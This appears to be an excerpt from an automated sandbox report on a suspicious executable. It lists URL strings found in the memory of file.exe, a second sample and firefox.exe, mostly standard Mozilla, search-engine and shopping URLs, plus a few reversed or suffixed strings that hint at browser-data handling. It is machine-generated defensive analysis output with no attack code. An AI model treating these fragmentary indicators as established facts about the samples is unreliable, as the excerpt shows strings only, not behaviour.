Source: firefox.exe, 00000021.00000002.3201598253.00000209F7EE4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3160273431.00000209F4CD0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3061307516.00000209F7EF2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/118.0.1/WINNT/en-US/
Source: firefox.exe, 00000021.00000002.3148191878.00000209F11C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.3222392437.00000209FD804000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3180233244.00000209F69EA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3212917829.00000209FD21F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/captive-portal
Source: 43cdd8ad97.exe, 00000013.00000003.3134835171.00000000058F8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3103409848.00000209F6ED5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: firefox.exe, 00000021.00000002.3205853601.00000209F8C92000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/refresh-firefox-reset-add-ons-and-settings
Source: 43cdd8ad97.exe, 00000013.00000003.3134835171.00000000058F8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: file.exe, 00000000.00000003.2538797213.0000000023838000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3103409848.00000209F6ED5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.GVegJq3nFfBL
Source: firefox.exe, 00000021.00000002.3217545814.00000209FD603000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://tc39.github.io/ecma262/#sec-typeof-operator
Source: firefox.exe, 00000021.00000002.3148191878.00000209F11C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://token.services.mozilla.com/1.0/sync/1.5
Source: firefox.exe, 00000021.00000002.3148191878.00000209F11C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://topsites.services.mozilla.com/cid/
Source: firefox.exe, 00000021.00000002.3148191878.00000209F11C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://tracking-protection-issues.herokuapp.com/new
Source: firefox.exe, 00000021.00000002.3158948654.00000209F39DC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3158948654.00000209F3990000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3155566727.00000209F323C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3150145794.00000209F1703000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://truecolors.firefox.com
Source: firefox.exe, 00000021.00000002.3216773750.00000209FD56E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3158948654.00000209F39B5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3053785192.00000209FD5E9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3076795056.00000209FD56E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://twitter.com/
Source: firefox.exe, 00000021.00000002.3148191878.00000209F11C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://versioncheck-bg.addons.mozilla.org/update/VersionCheck.php?reqVersion=%REQ_VERSION%&id=%ITEM
Source: firefox.exe, 00000021.00000002.3148191878.00000209F11C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://versioncheck.addons.mozilla.org/update/VersionCheck.php?reqVersion=%REQ_VERSION%&id=%ITEM_ID
Source: firefox.exe, 00000021.00000002.3148191878.00000209F11C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://vpn.mozilla.org/?utm_source=firefox-browser&utm_medium=firefox-%CHANNEL%-browser&utm_campaig
Source: firefox.exe, 00000021.00000002.3148191878.00000209F11C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://vpn.mozilla.org/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_campaign=about-pr
Source: firefox.exe, 00000021.00000002.3148191878.00000209F11C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://webcompat.com/issues/new
Source: firefox.exe, 00000021.00000002.3148191878.00000209F11C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://webextensions.settings.services.mozilla.com/v1
Source: firefox.exe, 00000021.00000003.3059991476.00000209FD240000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3150145794.00000209F1727000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3212917829.00000209FD240000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3092231194.00000209FD240000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://webpack.js.org/concepts/mode/)
Source: firefox.exe, 00000021.00000003.3055127073.00000209FD5D2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3052482961.00000209FD691000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3055127073.00000209FD5B3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3074268692.00000209FD5D2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3206895801.00000209F8DA5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3216773750.00000209FD596000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3198166521.00000209F7A81000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3075987822.00000209FD5B4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3228027682.0000027F2F303000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://weibo.com/
Source: firefox.exe, 00000021.00000002.3217545814.00000209FD603000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://wicg.github.io/construct-stylesheets/#using-constructed-stylesheets).
Source: firefox.exe, 00000021.00000003.3055127073.00000209FD5D2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3055127073.00000209FD5B3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3074268692.00000209FD5D2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3216773750.00000209FD596000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3198166521.00000209F7A81000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3075987822.00000209FD5B4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.aliexpress.com/
Source: firefox.exe, 00000021.00000003.3055127073.00000209FD5D2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3055127073.00000209FD5B3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3074268692.00000209FD5D2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3216773750.00000209FD596000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3075987822.00000209FD5B4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3228027682.0000027F2F303000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.ca/
Source: firefox.exe, 00000021.00000003.3055127073.00000209FD5D2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3052482961.00000209FD691000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3055127073.00000209FD5B3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3074268692.00000209FD5D2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3216773750.00000209FD596000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3075987822.00000209FD5B4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.co.uk/
Source: firefox.exe, 00000021.00000002.3216773750.00000209FD56E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3216773750.00000209FD596000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3053785192.00000209FD5E9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3075987822.00000209FD5B4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3076795056.00000209FD56E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3228027682.0000027F2F303000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/
Source: file.exe, 00000000.00000002.2673516305.00000000235C4000.00000004.00000020.00020000.00000000.sdmp, 43cdd8ad97.exe, 00000011.00000003.2942344526.0000000000EE0000.00000004.00000020.00020000.00000000.sdmp, 43cdd8ad97.exe, 00000013.00000003.3136201162.000000000555C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3158948654.00000209F3979000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3158948654.00000209F39B5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3145566009.00000209F0DAD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_35787f1071928bc3a1aef90b79c9bee9c64ba6683fde7477
Source: firefox.exe, 00000021.00000002.3139500286.00000209E55D8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3015405033.00000209F5460000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3145566009.00000209F0DAD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3146776275.00000209F0EC1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3015616706.00000209F5481000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3150145794.00000209F1703000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3014930010.00000209F541D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3150145794.00000209F177B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3177450546.00000209F66D6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/exec/obidos/external-search/
Source: firefox.exe, 00000021.00000003.3055127073.00000209FD5D2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3055127073.00000209FD5B3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3074268692.00000209FD5D2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3216773750.00000209FD596000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3075987822.00000209FD5B4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3228027682.0000027F2F303000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.de/
Source: firefox.exe, 00000021.00000003.3055127073.00000209FD5D2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3055127073.00000209FD5B3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3074268692.00000209FD5D2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3216773750.00000209FD596000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3075987822.00000209FD5B4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3228027682.0000027F2F303000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.fr/
Source: firefox.exe, 00000021.00000003.3055127073.00000209FD5D2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3052482961.00000209FD691000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3055127073.00000209FD5B3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3074268692.00000209FD5D2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3216773750.00000209FD596000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3198166521.00000209F7A81000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3075987822.00000209FD5B4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.avito.ru/
Source: firefox.exe, 00000021.00000002.3216773750.00000209FD5DC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3198166521.00000209F7A81000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3053785192.00000209FD5E9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3228027682.0000027F2F303000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.baidu.com/
Source: firefox.exe, 00000021.00000003.3055127073.00000209FD5D2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3055127073.00000209FD5B3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3074268692.00000209FD5D2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3216773750.00000209FD596000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3075987822.00000209FD5B4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3228027682.0000027F2F303000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.bbc.co.uk/
Source: file.exe, 00000000.00000002.2673516305.00000000235C4000.00000004.00000020.00020000.00000000.sdmp, 43cdd8ad97.exe, 00000011.00000003.2942344526.0000000000EE0000.00000004.00000020.00020000.00000000.sdmp, 43cdd8ad97.exe, 00000013.00000003.3136201162.000000000555C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3158948654.00000209F3979000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3158948654.00000209F39B5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3145566009.00000209F0DAD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.bestbuy.com/site/electronics/top-deals/pcmcat1563299784494.c/?id=pcmcat1563299784494&ref
Source: firefox.exe, 00000021.00000002.3216773750.00000209FD5DC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3198166521.00000209F7A81000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3053785192.00000209FD5E9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3228027682.0000027F2F303000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ctrip.com/
Source: firefox.exe, 00000021.00000002.3216773750.00000209FD5DC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3053785192.00000209FD5E9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3228027682.0000027F2F303000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ebay.co.uk/
Source: firefox.exe, 00000021.00000003.3055127073.00000209FD5D2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3055127073.00000209FD5B3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3074268692.00000209FD5D2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3216773750.00000209FD596000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3075987822.00000209FD5B4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3228027682.0000027F2F303000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ebay.de/
Source: file.exe, 00000000.00000002.2642547892.00000000008DD000.00000004.00000020.00020000.00000000.sdmp, 43cdd8ad97.exe, 00000011.00000003.2863957368.00000000055E1000.00000004.00000800.00020000.00000000.sdmp, 43cdd8ad97.exe, 00000011.00000003.2863756881.00000000055E3000.00000004.00000800.00020000.00000000.sdmp, 43cdd8ad97.exe, 00000013.00000003.3045824922.0000000005508000.00000004.00000800.00020000.00000000.sdmp, 43cdd8ad97.exe, 00000013.00000003.3044676578.0000000005508000.00000004.00000800.00020000.00000000.sdmp, 43cdd8ad97.exe, 00000013.00000003.3043118993.000000000550B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: firefox.exe, 00000021.00000002.3216773750.00000209FD5DC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3053785192.00000209FD5E9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3228027682.0000027F2F303000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/
Source: firefox.exe, 00000021.00000002.3216773750.00000209FD507000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/complete/
Source: firefox.exe, 00000021.00000002.3201598253.00000209F7E7F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3015206615.00000209F543E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3154219479.00000209F2A70000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000003.3015405033.00000209F5460000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3015616706.00000209F5481000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3014930010.00000209F541D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3150145794.00000209F177B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/complete/search?client=firefox&q=
Source: 43cdd8ad97.exe, 00000011.00000003.2863957368.00000000055E1000.00000004.00000800.00020000.00000000.sdmp, 43cdd8ad97.exe, 00000011.00000003.2863756881.00000000055E3000.00000004.00000800.00020000.00000000.sdmp, 43cdd8ad97.exe, 00000013.00000003.3045824922.0000000005508000.00000004.00000800.00020000.00000000.sdmp, 43cdd8ad97.exe, 00000013.00000003.3044676578.0000000005508000.00000004.00000800.00020000.00000000.sdmp, 43cdd8ad97.exe, 00000013.00000003.3043118993.000000000550B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: firefox.exe, 00000021.00000002.3150145794.00000209F1727000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3015206615.00000209F543E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3154219479.00000209F2A70000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000003.3015405033.00000209F5460000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3180233244.00000209F6979000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3015616706.00000209F5481000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3150145794.00000209F1703000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3014930010.00000209F541D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3150145794.00000209F177B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3177450546.00000209F66D6000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3180233244.00000209F69E4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/search
Source: firefox.exe, 00000021.00000002.3222392437.00000209FD8C2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3150145794.00000209F1727000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3171699560.00000209F5F7E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3171699560.00000209F5F6C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/search?client=firefox-b-d&q=
Source: firefox.exe, 00000021.00000002.3148191878.00000209F11C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/geolocation/v1/geolocate?key=%GOOGLE_LOCATION_SERVICE_API_KEY%
Source: firefox.exe, 00000021.00000003.3055127073.00000209FD5D2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3055127073.00000209FD5B3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3074268692.00000209FD5D2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3216773750.00000209FD596000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3198166521.00000209F7A81000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3075987822.00000209FD5B4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3228027682.0000027F2F303000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ifeng.com/
Source: firefox.exe, 00000021.00000003.3055127073.00000209FD5D2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3052482961.00000209FD691000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3055127073.00000209FD5B3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3074268692.00000209FD5D2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3216773750.00000209FD596000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3198166521.00000209F7A81000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3075987822.00000209FD5B4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3228027682.0000027F2F303000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.iqiyi.com/
Source: firefox.exe, 00000021.00000003.3055127073.00000209FD5D2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3052482961.00000209FD691000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3055127073.00000209FD5B3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3074268692.00000209FD5D2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3216773750.00000209FD596000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3075987822.00000209FD5B4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.leboncoin.fr/
Source: firefox.exe, 00000021.00000002.3222392437.00000209FD8D7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3222392437.00000209FD8F6000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3149219844.00000209F16DE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3149219844.00000209F1611000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3191099113.00000209F7537000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3233193722.000033904CA04000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org
Source: firefox.exe, 00000021.00000002.3148191878.00000209F11C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/about/legal/terms/subscription-services/
Source: firefox.exe, 00000021.00000002.3148191878.00000209F11C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/%VERSION%/releasenotes/?utm_source=firefox-browser&utm_medi
Source: firefox.exe, 00000021.00000002.3148191878.00000209F11C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/%VERSION%/tour/
Source: firefox.exe, 00000021.00000002.3148191878.00000209F11C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/geolocation/
Source: firefox.exe, 00000021.00000002.3148191878.00000209F11C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/new?reason=manual-update
Source: firefox.exe, 00000021.00000002.3148191878.00000209F11C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/notes
Source: firefox.exe, 00000021.00000002.3148191878.00000209F11C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/set-as-default/thanks/
Source: firefox.exe, 00000021.00000002.3148191878.00000209F11C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/xr/
Source: firefox.exe, 00000021.00000002.3148191878.00000209F11C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/privacy/subscription-services/
Source: file.exe, 00000000.00000002.2643149920.0000000000C37000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.2643149920.0000000000B54000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/about/
Source: file.exe, 00000000.00000002.2643149920.0000000000C37000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/about/EGDHJKFHJKFI
Source: 43cdd8ad97.exe, 00000013.00000003.3134835171.00000000058F8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3103409848.00000209F6ED5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.CDjelnmQJyZc
Source: firefox.exe, 00000021.00000003.3098071517.00000209F6BCB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3095261637.00000209F6BB4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3171699560.00000209F5F6C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/legal/terms/mozilla/
Source: file.exe, 00000000.00000002.2643149920.0000000000C37000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.2643149920.0000000000B54000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/
Source: file.exe, 00000000.00000002.2643149920.0000000000C37000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/W1sYnpxLnB3ZA==
Source: 43cdd8ad97.exe, 00000013.00000003.3134835171.00000000058F8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3103409848.00000209F6ED5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.b3lOZaxJcpF6
Source: file.exe, 00000000.00000002.2643149920.0000000000B54000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/
Source: file.exe, 00000000.00000003.2538797213.0000000023838000.00000004.00000020.00020000.00000000.sdmp, 43cdd8ad97.exe, 00000011.00000003.2917816262.00000000056CE000.00000004.00000800.00020000.00000000.sdmp, 43cdd8ad97.exe, 00000013.00000003.3134835171.00000000058F8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3103409848.00000209F6ED5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3184901033.00000209F6D41000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: 43cdd8ad97.exe, 00000013.00000003.3134835171.00000000058F8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3103409848.00000209F6ED5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: firefox.exe, 00000021.00000002.3148191878.00000209F11C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/android/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_c
Source: firefox.exe, 00000021.00000002.3148191878.00000209F11C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/ios/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_campa
Source: firefox.exe, 00000021.00000002.3148191878.00000209F11C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/legal/privacy/firefox.html
Source: firefox.exe, 00000021.00000002.3148191878.00000209F11C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/legal/privacy/firefox.html#crash-reporter
Source: firefox.exe, 00000021.00000002.3148191878.00000209F11C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/legal/privacy/firefox.html#health-report
